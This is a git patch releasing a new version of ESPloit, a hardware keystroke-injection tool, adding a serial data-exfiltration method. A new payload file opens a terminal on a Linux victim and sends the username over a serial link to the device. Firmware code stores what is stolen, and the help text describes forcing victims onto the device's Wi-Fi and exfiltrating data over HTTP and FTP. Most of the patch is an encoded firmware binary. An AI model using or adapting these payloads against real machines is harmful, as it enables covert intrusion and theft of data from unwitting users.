From 9f877f49d0ed71f8ca1d043b5dfd29a3c3ef7077 Mon Sep 17 00:00:00 2001 From: Corey Harding Date: Sat, 21 Oct 2017 20:55:09 -0400 Subject: [PATCH] Release 2.7.331 Add Serial Exfiltration Method Victim and Device no longer need to be on the same network to exfiltrate data! --- README.md | 28 +++++++++++++++++---- payloads/LinSerialEXFIL.txt | 5 ++++ source/ESP_Code/Duckuino.h | 5 +++- source/ESP_Code/ESP_Code.ino | 9 ++++++- source/ESP_Code/ESP_Code.ino.generic.bin | Bin 500800 -> 501936 bytes source/ESP_Code/HelpText.h | 30 ++++++++++++++++++----- source/ESP_Code/version.h | 2 +- 7 files changed, 65 insertions(+), 14 deletions(-) create mode 100644 payloads/LinSerialEXFIL.txt diff --git a/README.md b/README.md index 2c789a1..610db12 100644 --- a/README.md +++ b/README.md @@ -70,7 +70,9 @@ You are now greeted with the main menu of ESPloit. From here there are several o Upload Payload: Upload a payload.txt file Choose Payload: Choose a payload to run Live Payload Mode: Type out or copy/paste a payload to run without uploading +Duckuino Mode: Convert and optionally run Ducky Script payloads to ESPloit compatible script Input Mode: Use the device as a keyboard/mouse substitute +List Exfiltrated Data: Lists any exfiltrated data Configure ESPloit: Configure WiFi and basic settings Format File System: Format the file system Upgrade ESPloit Firmware: Upgrade the ESP-12S ESPloit firmware from a web browser @@ -236,16 +238,24 @@ Live Payload Mode Here you may type out or copy/paste a payload to run without uploading. ----- -List Exfiltrated Data +Input Mode ----- -Displays any data that has been collected from the victim using ESPloit's exfiltration methods. +Use the device as a keyboard/mouse substitute. + +----- +Duckuino Mode +----- + +Convert Ducky Script to ESPloit Script and then optionally run the script. +Paste Ducky Script on the text area to the left. +Click convert and the ESPloit compatible script appears on the right. ----- -Input Mode +List Exfiltrated Data ----- -Use the device as a keyboard/mouse substitute. +Displays any data that has been collected from the victim using ESPloit's exfiltration methods. ----- Format File System @@ -275,7 +285,15 @@ If you are using this mode to swap the firmware loaded on the ESP-12S chip, and Exfiltrating Data ----- -To exfiltrate data be sure ESPloit and Target machine are on the same network. +Serial Exfiltration Method: +Find the victims com port +Set the baud rate to 38400 +Send the text "SerialEXFIL:" followed by the data to exfiltrate +Exfiltrated data will be saved to the file SerialEXFIL.txt +See the example payloads for more info + +WiFi Exfiltration Methods: +To exfiltrate data using WiFi methods be sure ESPloit and Target machine are on the same network. Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP. Example commands to force victim to connect to ESPloit's network(when set as AP): diff --git a/payloads/LinSerialEXFIL.txt b/payloads/LinSerialEXFIL.txt new file mode 100644 index 0000000..963d39d --- /dev/null +++ b/payloads/LinSerialEXFIL.txt @@ -0,0 +1,5 @@ +Rem: Exfiltrate UserName from Linux Box using a Serial Link +Press:134+195 +PrintLine:gnome-terminal +CustomDelay:1000 +PrintLine:stty -F /dev/ttyACM0 38400;echo "SerialEXFIL:"$(whoami) > /dev/ttyACM0 \ No newline at end of file diff --git a/source/ESP_Code/Duckuino.h b/source/ESP_Code/Duckuino.h index 69133f5..07a9d6e 100644 --- a/source/ESP_Code/Duckuino.h +++ b/source/ESP_Code/Duckuino.h @@ -102,6 +102,9 @@ menu a.hoverable:hover {
+ +<- BACK + Convert @@ -112,7 +115,7 @@ Run Payload
- +
diff --git a/source/ESP_Code/ESP_Code.ino b/source/ESP_Code/ESP_Code.ino index 20b5110..aa43f63 100644 --- a/source/ESP_Code/ESP_Code.ino +++ b/source/ESP_Code/ESP_Code.ino @@ -604,7 +604,7 @@ void ListPayloads(){ String FileList = "<- BACK TO INDEX

"; Dir dir = SPIFFS.openDir(directory); if(server.uri() == "/listpayloads") FileList += "File System Info Calculated in Bytes
Total: "+total+" Free: "+freespace+" "+" Used: "+used+"

Upload Payload

Live Payload Mode

"; - if(server.uri() == "/exfiltrate/list") FileList += String()+F("To exfiltrate data be sure ESPloit and Target machine are on the same network.
Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP.
Current Network Configuration: ESPloit's IP= ")+local_IPstr+" SSID = "+ssid+" PASSWORD = "+password+"
Windows: netsh wlan set hostednetwork mode=allow ssid=\""+ssid+"\" key=\""+password+"\"
Linux: nmcli dev wifi connect "+ssid+" password "+password+"

For HTTP exfiltration method point the target machine to the url listed below:
http://"+local_IPstr+"/exfiltrate?file=FILENAME.TXT&data=EXFILTRATED-DATA-HERE
For FTP exfiltration method use the credentials listed below:
Server: "+local_IPstr+" Username: "+ftp_username+" Password: "+ftp_password+"
See the example payloads for more in depth examples.

File System Info Calculated in Bytes
Total: "+total+" Free: "+freespace+" "+" Used: "+used+"

Display Payload ContentsSize in BytesRun PayloadDownload FileDelete Payload
"; + if(server.uri() == "/exfiltrate/list") FileList += String()+F("To exfiltrate data using the serial method find the com port device is connected to
then be sure to set the baud rate to 38400 on the victim machine
and send the text \"SerialEXFIL:\" followed by the data to exfiltrate.
To exfiltrate data using the WiFi methods be sure ESPloit and Target machine are on the same network.
Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP.
Current Network Configuration: ESPloit's IP= ")+local_IPstr+" SSID = "+ssid+" PASSWORD = "+password+"
Windows: netsh wlan set hostednetwork mode=allow ssid=\""+ssid+"\" key=\""+password+"\"
Linux: nmcli dev wifi connect "+ssid+" password "+password+"

For HTTP exfiltration method point the target machine to the url listed below:
http://"+local_IPstr+"/exfiltrate?file=FILENAME.TXT&data=EXFILTRATED-DATA-HERE
For FTP exfiltration method use the credentials listed below:
Server: "+local_IPstr+" Username: "+ftp_username+" Password: "+ftp_password+"
See the example payloads for more in depth examples.

File System Info Calculated in Bytes
Total: "+total+" Free: "+freespace+" "+" Used: "+used+"

Display File ContentsSize in BytesDownload FileDelete File
"; while (dir.next()) { String FileName = dir.fileName(); File f = dir.openFile("r"); @@ -1162,7 +1162,14 @@ void loop() { if(cmd == "Version"){ ardversion = Serial.readStringUntil('\n'); } + if(cmd == "SerialEXFIL"){ + String SerialEXFIL = Serial.readStringUntil('\n'); + File f = SPIFFS.open("/SerialEXFIL.txt", "a"); + f.println(SerialEXFIL); + f.close(); + } } + //Serial.print("Free heap-"); //Serial.println(ESP.getFreeHeap(),DEC); } diff --git a/source/ESP_Code/ESP_Code.ino.generic.bin b/source/ESP_Code/ESP_Code.ino.generic.bin index b13d80393d4dcb0edec3babab701b6f1a9145506..033b80abdbd4019063976937664a24216cf61a60 100644 GIT binary patch delta 30164 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 